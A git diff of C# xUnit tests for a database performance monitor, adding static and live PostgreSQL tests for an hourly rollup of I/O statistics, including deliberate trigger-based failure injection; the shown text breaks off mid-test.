index 23c25884d6..3b3e315b0e 100644
--- a/Darling/Darling.Tests/PgIndexBloatCoverageTests.cs
+++ b/Darling/Darling.Tests/PgIndexBloatCoverageTests.cs
@@ -1024,7 +1024,7 @@ above them would never reach a rendered body - and that is precisely the half th
 
         /* The helper forwards it to the descriptor, or the panel below configures something nothing reads. */
         Assert.Contains("noteKey = null", tabs, StringComparison.Ordinal);
-        Assert.Contains("span, noteKey }", tabs, StringComparison.Ordinal);
+        Assert.Contains("span, noteKey, dbScope, extensionMissingLine }", tabs, StringComparison.Ordinal);
 
         /* And THIS panel asks for it. Scoped to a window after its own title so a noteKey on some other
            panel cannot satisfy the claim. */
diff --git a/Darling/Darling.Tests/PgIndexBloatGridReachTests.cs b/Darling/Darling.Tests/PgIndexBloatGridReachTests.cs
index 0dbb9cd91f..81f8557192 100644
--- a/Darling/Darling.Tests/PgIndexBloatGridReachTests.cs
+++ b/Darling/Darling.Tests/PgIndexBloatGridReachTests.cs
@@ -539,7 +539,9 @@ public void TheWebDashboardRendersTheLimitIndependentExtensionCensus()
 
         Assert.True(composite > 0, "fanout is gone - remap this pin rather than deleting it");
 
-        var fanout = tabs[composite..Math.Min(tabs.Length, composite + 2_000)];
+        /* The whole function body (to the first closing brace at column 0), not a fixed window: fanout grows. */
+        var fanoutEnd = tabs.IndexOf("\n}\n", composite, StringComparison.Ordinal);
+        var fanout = tabs[composite..(fanoutEnd > 0 ? fanoutEnd : tabs.Length)];
 
         Assert.Contains("getPath(res.data, spec.noteKey)", fanout, StringComparison.Ordinal);
         Assert.Contains("noticeStrip(note)", fanout, StringComparison.Ordinal);
diff --git a/Darling/Darling.Tests/PgIoStatsHourlyTests.cs b/Darling/Darling.Tests/PgIoStatsHourlyTests.cs
new file mode 100644
index 0000000000..dd9e709220
--- /dev/null
+++ b/Darling/Darling.Tests/PgIoStatsHourlyTests.cs
@@ -0,0 +1,612 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging.Abstractions;
+using Npgsql;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Static pins for the hourly rollup of <c>collect.pg_io_stats</c> (#5495, V170): the read's shape, the rung, the tick and the retention
+/// prune. The live facts are in <see cref="PgIoStatsHourlyLiveTests"/>. Lite has no PostgreSQL targets, so there is no twin to pin there.
+/// </summary>
+public sealed class PgIoStatsHourlyTests
+{
+    [Fact]
+    public void TheStitchedRead_ReadsRawRowsOnlyAtTheTwoEdges_AndWholeHoursFromTheRollup()
+    {
+        var sql = PgIoStatsHourly.StitchedReadSql;
+
+        /* Raw is bounded to the head [start, h1) and the tail [h2, end]; the middle is never scanned. */
+        Assert.Contains("collection_time >= $2 AND collection_time < $5", sql, StringComparison.Ordinal);
+        Assert.Contains("collection_time >= $6 AND collection_time <= $3", sql, StringComparison.Ordinal);
+        Assert.Contains("FROM pg_io_stats_hourly", sql, StringComparison.Ordinal);
+        Assert.Contains("hour_start >= $5 AND hour_start < $6", sql, StringComparison.Ordinal);
+
+        /* The boundary difference counts only when the previous row is inside the window: the old per-window LAG's rule. */
+        Assert.Contains("prev_ct >= $2", sql, StringComparison.Ordinal);
+        Assert.Contains("PARTITION BY backend_type, object_type, context", sql, StringComparison.Ordinal);
+
+        /* Same output columns as the raw statement, in the same order (the reader's ordinals). */
+        static List<string> Aliases(string s)
+        {
+            s = s.Replace("\r\n", "\n");
+            var select = s[System.Text.RegularExpressions.Regex.Matches(s, @"SELECT\s+backend_type,\s+object_type").Last().Index..];
+            select = select[..select.IndexOf("FROM differenced", StringComparison.Ordinal)];
+            return System.Text.RegularExpressions.Regex.Matches(select, @"(?:\bAS\s+(\w+)|^\s+(backend_type|object_type|context),)", System.Text.RegularExpressions.RegexOptions.Multiline)
+                .Select(m => m.Groups[1].Success ? m.Groups[1].Value : m.Groups[2].Value).ToList();
+        }
+
+        Assert.Equal(Aliases(DarlingPgIoReader.PgIoSql), Aliases(sql));    }
+
+    [Fact]
+    public void TheCountGuard_ComparesRawCountsWithTheRollupsRowCount_ForEveryWholeHour()
+    {
+        var sql = PgIoStatsHourly.GuardSql;
+        Assert.Contains("count(*)", sql, StringComparison.Ordinal);
+        Assert.Contains("sum(r.row_count)", sql, StringComparison.Ordinal);
+        Assert.Contains("FULL JOIN", sql, StringComparison.Ordinal);
+        Assert.Contains("IS DISTINCT FROM", sql, StringComparison.Ordinal);
+        Assert.Contains("h1 > first_hour", sql, StringComparison.Ordinal);
+        Assert.Contains("built_through", sql, StringComparison.Ordinal);
+        Assert.Contains("interval '6 hours'", sql, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheCountGuard_BoundsTheRawCountOnTheBoundParameters_NotOnlyOnAColumnOfACte()
+    {
+        /* #5495 big-store fix: the raw table is a hypertable, and chunk exclusion needs bounds it can evaluate from the
+           bound parameters. The hours the rollup may serve come from the ok CTE (a column of a CTE), which cannot exclude a
+           chunk, so the raw count carries $2/$3 bounds of its own next to the exact ones. */
+        var sql = PgIoStatsHourly.GuardSql.Replace("\r\n", "\n");
+        var raw = sql[sql.IndexOf("l AS (", StringComparison.Ordinal)..sql.IndexOf("c AS (", StringComparison.Ordinal)];
+        Assert.Contains("t.collection_time >= $2::timestamp - interval '1 hour'", raw, StringComparison.Ordinal);
+        Assert.Contains("t.collection_time < $3::timestamp", raw, StringComparison.Ordinal);
+        Assert.Contains("t.collection_time >= ok.h1 - interval '1 hour' AND t.collection_time < ok.h2", raw, StringComparison.Ordinal);
+
+        /* The rollup side is a plain table whose unique index leads with (server_id, hour_start): the range is already an index range. */
+        Assert.Contains("r.hour_start >= ok.h1 - interval '1 hour' AND r.hour_start < ok.h2", sql, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheBuild_SeedsEachCombinationFromItsNewestEarlierRollupRowByIndex_NotBySortingEveryEarlierRow()
+    {
+        /* #5495: the seed was DISTINCT ON over every earlier rollup row of the server, which sorts all of them for each hour built
+           (quadratic over a first fill). It now probes once per combination of the hour being built. */
+        var sql = PgIoStatsHourly.BuildHourSql.Replace("\r\n", "\n");
+        var seed = sql[sql.IndexOf("seed AS (", StringComparison.Ordinal)..sql.IndexOf("u AS (", StringComparison.Ordinal)];
+        Assert.Contains("LATERAL", seed, StringComparison.Ordinal);
+        Assert.Contains("ORDER BY p.hour_start DESC", seed, StringComparison.Ordinal);
+        Assert.Contains("LIMIT 1", seed, StringComparison.Ordinal);
+        Assert.DoesNotContain("DISTINCT ON", seed, StringComparison.Ordinal);
+
+        /* The three key columns are nullable, so the probe needs a NULL-equal compare that an index can serve: array equality over the
+           same expression the V170 index holds. IS NOT DISTINCT FROM is not indexable and scanned back through every earlier rollup row
+           of a combination that was new or absent for a long time. */
+        Assert.Contains("ARRAY[p.backend_type, p.object_type, p.context] = ARRAY[cmb.backend_type, cmb.object_type, cmb.context]", seed, StringComparison.Ordinal);
+        Assert.DoesNotContain("IS NOT DISTINCT FROM", seed, StringComparison.Ordinal);
+        Assert.Contains("ON collect.pg_io_stats_hourly (server_id, (ARRAY[backend_type, object_type, context]), hour_start DESC)", PgIoStatsHourly.CreateSql, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheGc_IsDrivenFromTheSmallStateTable_NotAScanOfTheWholeRollup()
+    {
+        var gc = PgIoStatsHourlyBuilder.GcSql.Replace("\r\n", "\n");
+        gc = gc.TrimEnd();
+
+        /* One statement, so one snapshot: a server disabled while it runs cannot lose its state row and keep its rollup rows. */
+        Assert.Equal(gc.Length - 1, gc.IndexOf(';', StringComparison.Ordinal));
+        Assert.StartsWith("WITH gone AS (", gc, StringComparison.Ordinal);
+        Assert.Contains("DELETE FROM collect.pg_io_stats_hourly_state WHERE server_id NOT IN", gc, StringComparison.Ordinal);
+        Assert.Contains("RETURNING server_id", gc, StringComparison.Ordinal);
+        Assert.Contains("DELETE FROM collect.pg_io_stats_hourly WHERE server_id IN (SELECT server_id FROM gone)", gc, StringComparison.Ordinal);
+        Assert.DoesNotContain("pg_io_stats_hourly WHERE server_id NOT IN", gc, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheReader_TriesTheRollupInOneSnapshot_AndFallsBackToTheRawStatement()
+    {
+        var reader = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Storage", "DarlingPgIoReader.cs");
+        Assert.Contains("IsolationLevel.RepeatableRead", reader, StringComparison.Ordinal);
+        Assert.Contains("PgIoStatsHourly.GuardSql", reader, StringComparison.Ordinal);
+        Assert.Contains("PgIoStatsHourly.StitchedReadSql", reader, StringComparison.Ordinal);
+        Assert.Contains("new NpgsqlCommand(PgIoSql, connection)", reader, StringComparison.Ordinal);
+        /* The raw statement is unchanged: still the per-window LAG. */
+        Assert.Contains("LAG(reads)      OVER series", DarlingPgIoReader.PgIoSql, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheRung_IsRegistered_AndCreatesPlainEmptyTables()
+    {
+        var rung = PgMigrations.Scripts.Single(s => s.Version == PgIoStatsHourly.RungVersion);
+        Assert.Equal("pg-io-stats-hourly", rung.Name);
+        Assert.Equal(170, PgIoStatsHourly.RungVersion);
+        Assert.Equal(PgIoStatsHourly.CreateSql, rung.Sql);
+        Assert.DoesNotContain("INSERT", PgIoStatsHourly.CreateSql, StringComparison.OrdinalIgnoreCase);
+        Assert.DoesNotContain("create_hypertable", PgIoStatsHourly.CreateSql, StringComparison.OrdinalIgnoreCase);
+        Assert.Contains("NULLS NOT DISTINCT", PgIoStatsHourly.CreateSql, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheTick_IsAWorkerTenant_AndTheRollupIsPrunedWithTheRawRetention()
+    {
+        var worker = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "DarlingWorker.cs");
+        Assert.Contains("await BuildPgIoStatsHourlyAsync(stoppingToken);", worker, StringComparison.Ordinal);
+        Assert.Contains("PgIoStatsHourlyBuilder.RunTickAsync(", worker, StringComparison.Ordinal);
+        /* Its place in the tick: awaited once, outside the TimescaleDB gate, and BEFORE the module-map refresh. The plan-regression builder
+           (up to a 10-minute tick) stays the last await with the refresh directly before it - the pins in DarlingModuleMapRecentRefreshLiveTests
+           and PlanRegressionDailyBuilderLiveTests say so - so the rollup must not be appended after it. */
+        var code = CSharpSourceWalker.StripCommentsAndStrings(worker);
+        var tickStart = code.IndexOf("private async Task RunStoreMaintenanceTickAsync(CancellationToken stoppingToken)", StringComparison.Ordinal);
+        Assert.True(tickStart >= 0, "could not locate RunStoreMaintenanceTickAsync");
+        var tickEnd = code.IndexOf("private async Task RefreshModuleMapRecentAsync(CancellationToken stoppingToken)", tickStart, StringComparison.Ordinal);
+        Assert.True(tickEnd > tickStart, "could not bound RunStoreMaintenanceTickAsync");
+        var tick = code[tickStart..tickEnd];
+        const string Rollup = "await BuildPgIoStatsHourlyAsync(stoppingToken);";
+        const string Refresh = "await RefreshModuleMapRecentAsync(stoppingToken);";
+        Assert.Equal(1, tick.Split(Rollup).Length - 1);
+        Assert.Equal(1, code.Split(Rollup).Length - 1);
+        var rollupAt = tick.IndexOf(Rollup, StringComparison.Ordinal);
+        var refreshAt = tick.IndexOf(Refresh, StringComparison.Ordinal);
+        Assert.True(refreshAt > rollupAt, "the I/O rollup is awaited before the module-map refresh");
+        Assert.True(string.IsNullOrWhiteSpace(tick[(rollupAt + Rollup.Length)..refreshAt]), "nothing sits between the I/O rollup and the module-map refresh");
+        Assert.True(rollupAt > tick.IndexOf("else", StringComparison.Ordinal), "the I/O rollup sits after the gated if/else, outside the TimescaleDB gate");
+
+        var retention = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "DarlingRetention.cs");
+        Assert.Contains("PgIoStatsHourlyBuilder.PruneSql", retention, StringComparison.Ordinal);
+        Assert.Contains("\"pg_io_stats\"", retention, StringComparison.Ordinal);
+
+        /* The first fill is bounded by time, not by a count of builds: no new build starts after the budget, and a build still running
+           at the hard cap is cancelled (TheHardCap_... below). The budget is the only start cutoff, so there is no second one to keep in step. */
+        Assert.Null(typeof(PgIoStatsHourlyBuilder).GetField("StartCutoff", System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Static));
+        Assert.Null(typeof(PgIoStatsHourlyBuilder).GetField("MaxBuildsPerTick"));
+        Assert.Equal(TimeSpan.FromMinutes(2), PgIoStatsHourlyBuilder.TickBudget);
+        Assert.True(PgIoStatsHourlyBuilder.TickBudget < PgIoStatsHourlyBuilder.MaxTickDuration);
+        Assert.True(PgIoStatsHourlyBuilder.MaxTickDuration <= TimeSpan.FromMinutes(10));
+    }
+}
+
+/// <summary>
+/// Live facts for the hourly rollup of <c>collect.pg_io_stats</c> (#5495): the rollup read returns exactly what the raw statement returns
+/// across a counter reset, a crash restart (counters drop, stats_reset NULL), a collector gap and a combination that appears late, for
+/// windows that start and end mid-hour and a start inside the gap; the count guard refuses a window with a late row; a store below the
+/// rung (no rollup tables) still reads. Each fact runs on its own scratch store when <c>DARLING_TEST_PG</c> is set.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class PgIoStatsHourlyLiveTests
+{
+    private const string SkipText = "Set DARLING_TEST_PG to a Postgres connection string to run the pg_io_stats hourly rollup live pins (each mints its own scratch database).";
+
+    private static readonly DateTime Now = new(2026, 3, 20, 12, 0, 0, DateTimeKind.Unspecified);
+    private static readonly DateTime Start = new(2026, 3, 14, 3, 25, 0, DateTimeKind.Unspecified);
+    private static readonly DateTime Reset = new(2026, 3, 16, 9, 40, 0, DateTimeKind.Unspecified);
+    private static readonly DateTime Crash = new(2026, 3, 18, 1, 5, 0, DateTimeKind.Unspecified);
+    private static readonly DateTime GapStart = new(2026, 3, 17, 5, 3, 0, DateTimeKind.Unspecified);
+    private static readonly DateTime GapEnd = new(2026, 3, 17, 8, 2, 0, DateTimeKind.Unspecified);
+    private static readonly DateTime Late = new(2026, 3, 19, 6, 0, 0, DateTimeKind.Unspecified);
+
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private static string Ts(DateTime value) => value.ToString("yyyy-MM-dd HH:mm:ss", CultureInfo.InvariantCulture);
+
+    private static async Task ExecAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static string SeedSql() => $@"
+INSERT INTO collect.pg_io_stats (collection_id, collection_time, server_id, server_name, backend_type, object_type, context,
+    reads, read_time_ms, writes, write_time_ms, extends, extend_time_ms, op_bytes, hits, evictions, reuses, stats_reset,
+    read_bytes, write_bytes, extend_bytes)
+SELECT row_number() OVER (), t, 1, 'srv1', c.bt, 'relation', c.cx,
+       a.age * c.k, (a.age * c.k)::float8, CASE WHEN c.bt = 'startup' THEN NULL ELSE a.age * 2 END, (a.age * 2)::float8,
+       a.age / 3, (a.age / 3)::float8, 8192, a.age * 7, a.age / 5, a.age / 7,
+       CASE WHEN t >= '{Ts(Reset)}' AND t < '{Ts(Crash)}' THEN '{Ts(Reset)}'::timestamp ELSE '{Ts(Start.AddHours(-1))}'::timestamp END,
+       CASE WHEN c.bt = 'startup' THEN NULL ELSE a.age * c.k * 8192 END, a.age * 8192, a.age * 4096
+FROM generate_series('{Ts(Start)}'::timestamp, '{Ts(Now.AddMinutes(-10))}'::timestamp, interval '10 minutes') AS t
+CROSS JOIN (VALUES ('client backend', 'normal', 3), ('autovacuum worker', 'vacuum', 5), ('startup', 'normal', 2)) AS c(bt, cx, k)
+CROSS JOIN LATERAL (SELECT (CASE WHEN t < '{Ts(Reset)}' THEN extract(epoch FROM t - '{Ts(Start)}'::timestamp)
+                                  WHEN t < '{Ts(Crash)}' THEN extract(epoch FROM t - '{Ts(Reset)}'::timestamp)
+                                  ELSE extract(epoch FROM t - '{Ts(Crash)}'::timestamp) END / 600)::bigint AS age) AS a
+WHERE NOT (t >= '{Ts(GapStart)}' AND t < '{Ts(GapEnd)}')
+AND   NOT (c.bt = 'startup' AND t < '{Ts(Late)}')";
+
+    private static async Task<List<string>> RowsAsync(NpgsqlConnection connection, string sql, params object[] parameters)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        foreach (var p in parameters)
+        {
+            command.Parameters.AddWithValue(p);
+        }
+
+        var rows = new List<string>();
+        await using var reader = await command.ExecuteReaderAsync(TestContext.Current.CancellationToken);
+        while (await reader.ReadAsync(TestContext.Current.CancellationToken))
+        {
+            rows.Add(string.Join("|", Enumerable.Range(0, reader.FieldCount).Select(i => reader.IsDBNull(i) ? "~" : Convert.ToString(reader.GetValue(i), CultureInfo.InvariantCulture))));
+        }
+
+        return rows;
+    }
+
+    private static DateTime Unspec(DateTime v) => DateTime.SpecifyKind(v, DateTimeKind.Unspecified);
+
+    private static string Fix(string sql) => sql.Replace("FROM pg_io_stats_hourly", "FROM collect.pg_io_stats_hourly").Replace("FROM pg_io_stats\n", "FROM collect.pg_io_stats\n").Replace("FROM pg_io_stats_hourly_state", "FROM collect.pg_io_stats_hourly_state");
+
+    private static async Task RunLiveAsync(Func<ScratchPostgres, NpgsqlConnection, NpgsqlDataSource, CancellationToken, Task> body, bool build = true)
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+
+        // #1776 own-store: a scratch database of its own, so no other class's migrations race it.
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        var bodySucceeded = false;
+        try
+        {
+            await ExecAsync(connection, "SET search_path = collect, public; INSERT INTO collect.servers (server_id, server_name, is_enabled) VALUES (1, 'srv1', TRUE) ON CONFLICT (server_id) DO NOTHING", ct);
+            await ExecAsync(connection, SeedSql(), ct);
+            var searchPath = scratch.ConnectionString + ";Search Path=collect,public";
+            await using var dataSource = NpgsqlDataSource.Create(searchPath);
+            await using var query = new NpgsqlConnection(searchPath);
+            await query.OpenAsync(ct);
+            if (build)
+            {
+                var tick = await PgIoStatsHourlyBuilder.RunTickAsync(dataSource, Now, NullLogger.Instance, ct);
+                Assert.True(tick.Built > 100);
+                Assert.Equal(0, tick.Failed);
+            }
+
+            await body(scratch, query, dataSource, ct);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    [Theory]
+    [InlineData(24, 0)]
+    [InlineData(72, 0)]
+    [InlineData(120, 0)]
+    [InlineData(120, 7)]
+    [InlineData(40, 33)]
+    public async Task TheStitchedRead_EqualsTheRawStatement_AcrossAResetACrashAGapAndALateCombination(int hours, int endOffsetMinutes)
+    {
+        await RunLiveAsync(async (scratch, connection, dataSource, ct) =>
+        {
+            var end = Now.AddMinutes(-endOffsetMinutes);
+            var start = end.AddHours(-hours);
+            var span = await RowsAsync(connection, Fix(PgIoStatsHourly.GuardSql), 1, Unspec(start), Unspec(end));
+            Assert.Single(span);
+
+            var raw = await RowsAsync(connection, DarlingPgIoReader.PgIoSql, 1, Unspec(start), Unspec(end), 1000);
+            var parts = span[0].Split('|');
+            var stitched = await RowsAsync(connection, Fix(PgIoStatsHourly.StitchedReadSql), 1, Unspec(start), Unspec(end), 1000,
+                DateTime.Parse(parts[0], CultureInfo.InvariantCulture), DateTime.Parse(parts[1], CultureInfo.InvariantCulture));
+            Assert.NotEmpty(raw);
+            Assert.Equal(raw, stitched);
+
+            /* And through the reader, which takes the rollup route on its own. */
+            var viaReader = await DarlingPgIoReader.GetPgIoPageAsync(dataSource, 1, start, end, 1000, ct);
+            Assert.Equal(raw.Count, viaReader.Rows.Count);
+        });
+    }
+
+    [Fact]
+    public async Task AWindowStartingInsideTheCollectorGap_AndAWindowStartingBeforeTheFirstBuiltHour_StillMatchRaw()
+    {
+        await RunLiveAsync(async (scratch, connection, dataSource, ct) =>
+        {
+            var inGap = GapStart.AddMinutes(61);
+            var end = Now.AddMinutes(-2);
+            foreach (var start in new[] { inGap, inGap.AddHours(-3).AddMinutes(-20), Start })
+            {
+                var raw = await RowsAsync(connection, DarlingPgIoReader.PgIoSql, 1, Unspec(start), Unspec(end), 1000);
+                var viaReader = await DarlingPgIoReader.GetPgIoPageAsync(dataSource, 1, start, end, 1000, ct);
+                Assert.Equal(raw.Count, viaReader.Rows.Count);
+                var span = await RowsAsync(connection, Fix(PgIoStatsHourly.GuardSql), 1, Unspec(start), Unspec(end));
+                if (start == Start)
+                {
+                    Assert.Empty(span);
+                }
+                else
+                {
+                    Assert.Single(span);
+                    var parts = span[0].Split('|');
+                    var stitched = await RowsAsync(connection, Fix(PgIoStatsHourly.StitchedReadSql), 1, Unspec(start), Unspec(end), 1000,
+                        DateTime.Parse(parts[0], CultureInfo.InvariantCulture), DateTime.Parse(parts[1], CultureInfo.InvariantCulture));
+                    Assert.Equal(raw, stitched);
+                }
+            }
+        });
+    }
+
+    [Fact]
+    public async Task ALateRowInABuiltHour_FailsTheCountGuard_AndTheReaderStillAnswersFromRaw()
+    {
+        await RunLiveAsync(async (scratch, connection, dataSource, ct) =>
+        {
+            var start = Now.AddHours(-48);
+            Assert.Single(await RowsAsync(connection, Fix(PgIoStatsHourly.GuardSql), 1, Unspec(start), Unspec(Now)));
+
+            /* A row dated inside a built hour that the rebuild span no longer covers. */
+            await ExecAsync(connection,
+                $"INSERT INTO collect.pg_io_stats (collection_id, collection_time, server_id, server_name, backend_type, object_type, context, reads) VALUES (999999999, '{Ts(Now.AddHours(-20).AddMinutes(1))}', 1, 'srv1', 'client backend', 'relation', 'normal', 1)", ct);
+            Assert.Empty(await RowsAsync(connection, Fix(PgIoStatsHourly.GuardSql), 1, Unspec(start), Unspec(Now)));
+            var viaReader = await DarlingPgIoReader.GetPgIoPageAsync(dataSource, 1, start, Now, 1000, ct);
+            Assert.NotEmpty(viaReader.Rows);
+
+            /* The next tick does not touch an hour that old, so the guard keeps refusing it until the hour ages out. */
+            await PgIoStatsHourlyBuilder.RunTickAsync(dataSource, Now, NullLogger.Instance, ct);
+            Assert.Empty(await RowsAsync(connection, Fix(PgIoStatsHourly.GuardSql), 1, Unspec(start), Unspec(Now)));
+        });
+    }
+
+    [Fact]
+    public async Task ALateRowInTheHourBeforeTheFirstRollupHour_FailsTheCountGuard_AndTheReadMatchesRaw()
+    {
+        await RunLiveAsync(async (scratch, connection, dataSource, ct) =>
+        {
+            /* The window starts mid-hour (02:30), so its first rollup hour is 03:00 and the 02:00 hour is a raw edge. The 03:00
+               rollup row's boundary difference was taken against the 02:55 row. */
+            var start = new DateTime(2026, 3, 19, 2, 30, 0, DateTimeKind.Unspecified);
+            Assert.Single(await RowsAsync(connection, Fix(PgIoStatsHourly.GuardSql), 1, Unspec(start), Unspec(Now)));
+
+            /* A row dated 02:58 arrives long after the rebuild span has passed: a copy of the 02:55 row with the reads a little ahead. */
+            await ExecAsync(connection,
+                "INSERT INTO collect.pg_io_stats (collection_id, collection_time, server_id, server_name, backend_type, object_type, context, "
+                + "reads, read_time_ms, writes, write_time_ms, extends, extend_time_ms, op_bytes, hits, evictions, reuses, stats_reset, read_bytes, write_bytes, extend_bytes) "
+                + "SELECT 999999998, collection_time + interval '3 minutes', server_id, server_name, backend_type, object_type, context, "
+                + "reads + 1, read_time_ms + 1, writes, write_time_ms, extends, extend_time_ms, op_bytes, hits, evictions, reuses, stats_reset, read_bytes, write_bytes, extend_bytes "
+                + "FROM collect.pg_io_stats WHERE server_id = 1 AND backend_type = 'client backend' AND context = 'normal' AND collection_time = '2026-03-19 02:55:00'", ct);
+
+            /* The late row is in the hour before h1, not inside [h1, h2): the guard still refuses the window. */
+            Assert.Empty(await RowsAsync(connection, Fix(PgIoStatsHourly.GuardSql), 1, Unspec(start), Unspec(Now)));
+
+            var raw = await RowsAsync(connection, DarlingPgIoReader.PgIoSql, 1, Unspec(start), Unspec(Now), 1000);
+            var viaReader = await DarlingPgIoReader.GetPgIoPageAsync(dataSource, 1, start, Now, 1000, ct);
+            Assert.NotEmpty(raw);
+            Assert.Equal(long.Parse(raw[0].Split('|')[19], CultureInfo.InvariantCulture), viaReader.WindowTotalReads);
+            Assert.Equal(raw.Count, viaReader.Rows.Count);
+
+            /* A window that starts after that hour does not need it, and is still served from the rollup. */
+            Assert.Single(await RowsAsync(connection, Fix(PgIoStatsHourly.GuardSql), 1, Unspec(start.AddHours(3)), Unspec(Now)));
+        });
+    }
+
+    [Fact]
+    public async Task ARebuildOfTheLateRowsHourAndTheNextHour_IsOneTransaction_SoAFailedNextHourLeavesNoDoubleCount()
+    {
+        await RunLiveAsync(async (scratch, connection, dataSource, ct) =>
+        {
+            /* The watermark is 11:00, so a tick rebuilds 09:00 and 10:00. A row dated 09:58 lands long after the hour closed (the hour's
+               last row was 09:55); 10:00's boundary difference was taken against 09:55. If 09:00 is rebuilt and committed and then
+               10:00 fails, the guard sees equal counts in both hours while 10:00 still holds the stale boundary difference, and a window over
+               both hours counts the 09:55 to 09:58 change twice. */
+            var start = Now.AddHours(-48);
+            await ExecAsync(connection,
+                "INSERT INTO collect.pg_io_stats (collection_id, collection_time, server_id, server_name, backend_type, object_type, context, "
+                + "reads, read_time_ms, writes, write_time_ms, extends, extend_time_ms, op_bytes, hits, evictions, reuses, stats_reset, read_bytes, write_bytes, extend_bytes) "
+                + "SELECT 999999997, collection_time + interval '3 minutes', server_id, server_name, backend_type, object_type, context, "
+                + "reads + 1, read_time_ms + 1, writes, write_time_ms, extends, extend_time_ms, op_bytes, hits, evictions, reuses, stats_reset, read_bytes, write_bytes, extend_bytes "
+                + "FROM collect.pg_io_stats WHERE server_id = 1 AND backend_type = 'client backend' AND context = 'normal' AND collection_time = '2026-03-20 09:55:00'", ct);
+            await ExecAsync(connection,
+                "CREATE FUNCTION collect.fail_planted_hour() RETURNS trigger LANGUAGE plpgsql AS $f$ BEGIN "
+                + "IF NEW.hour_start = '2026-03-20 10:00' THEN RAISE EXCEPTION 'planted rollup build failure'; END IF; RETURN NEW; END $f$; "
+                + "CREATE TRIGGER fail_planted_hour BEFORE INSERT ON collect.pg_io_stats_hourly FOR EACH ROW EXECUTE FUNCTION collect.fail_planted_hour()", ct);
+
+            var failed = await PgIoStatsHourlyBuilder.RunTickAsync(dataSource, Now, NullLogger.Instance, ct);
+            Assert.Equal(1, failed.Failed);
+
+            var raw = await RowsAsync(connection, DarlingPgIoReader.PgIoSql, 1, Unspec(start), Unspec(Now), 1000);
+            Assert.NotEmpty(raw);
+            var viaReader = await DarlingPgIoReader.GetPgIoPageAsync(dataSource, 1, start, Now, 1000, ct);
+            Assert.Equal(long.Parse(raw[0].Split('|')[19], CultureInfo.InvariantCulture), viaReader.WindowTotalReads);
+            Assert.Equal(raw.Count, viaReader.Rows.Count);
+
+            /* Whatever the guard says, a stitched read it allows must equal raw. */
+            var span = await RowsAsync(connection, Fix(PgIoStatsHourly.GuardSql), 1, Unspec(start), Unspec(Now));
+            if (span.Count == 1)
+            {
+                var parts = span[0].Split('|');
+                var stitched = await RowsAsync(connection, Fix(PgIoStatsHourly.StitchedReadSql), 1, Unspec(start), Unspec(Now), 1000,
+                    DateTime.Parse(parts[0], CultureInfo.InvariantCulture), DateTime.Parse(parts[1], CultureInfo.InvariantCulture));
+                Assert.Equal(raw, stitched);
+            }
+
+            /* The next good tick rebuilds both hours together and the rollup serves the window again. */
+            await ExecAsync(connection, "DROP TRIGGER fail_planted_hour ON collect.pg_io_stats_hourly", ct);
+            var healed = await PgIoStatsHourlyBuilder.RunTickAsync(dataSource, Now, NullLogger.Instance, ct);
+            Assert.Equal(0, healed.Failed);
+            span = await RowsAsync(connection, Fix(PgIoStatsHourly.GuardSql), 1, Unspec(start), Unspec(Now));
+            Assert.Single(span);
+            var healedParts = span[0].Split('|');
+            var healedRead = await RowsAsync(connection, Fix(PgIoStatsHourly.StitchedReadSql), 1, Unspec(start), Unspec(Now), 1000,
+                DateTime.Parse(healedParts[0], CultureInfo.InvariantCulture), DateTime.Parse(healedParts[1], CultureInfo.InvariantCulture));
+            Assert.Equal(raw, healedRead);
+        });
+    }
+
+    [Fact]
+    public async Task TheHardCap_CancelsABuildThatIsRunning_AndItsHoursStayUnbuilt_AndLaterBuildsAreDeferred()
+    {
+        await RunLiveAsync(async (scratch, connection, dataSource, ct) =>
+        {
+            /* A first fill whose first build is held inside its insert: a trigger takes an advisory lock that this test owns (left alone the build ends at its 60 s statement_timeout, so the 20 s wait below fails unless the cap cancels it). The hard cap
+               is a token the test fires by hand once it sees the build waiting, so no wall-clock time passes. */
+            await ExecAsync(connection, "TRUNCATE collect.pg_io_stats_hourly, collect.pg_io_stats_hourly_state", ct);
+            await ExecAsync(connection,
+                "CREATE FUNCTION collect.hold_planted_hour() RETURNS trigger LANGUAGE plpgsql AS $f$ BEGIN PERFORM pg_advisory_xact_lock(5495); RETURN NEW; END $f$; "
+                + "CREATE TRIGGER hold_planted_hour BEFORE INSERT ON collect.pg_io_stats_hourly FOR EACH ROW EXECUTE FUNCTION collect.hold_planted_hour()", ct);
+
+            /* The lock is a session lock on its own unpooled connection: closing it (the end of this test, or a failure) releases it. */
+            await using var holder = new NpgsqlConnection(scratch.ConnectionString + ";Pooling=false");
+            await holder.OpenAsync(ct);
+            await ExecAsync(holder, "SELECT pg_advisory_lock(5495)", ct);
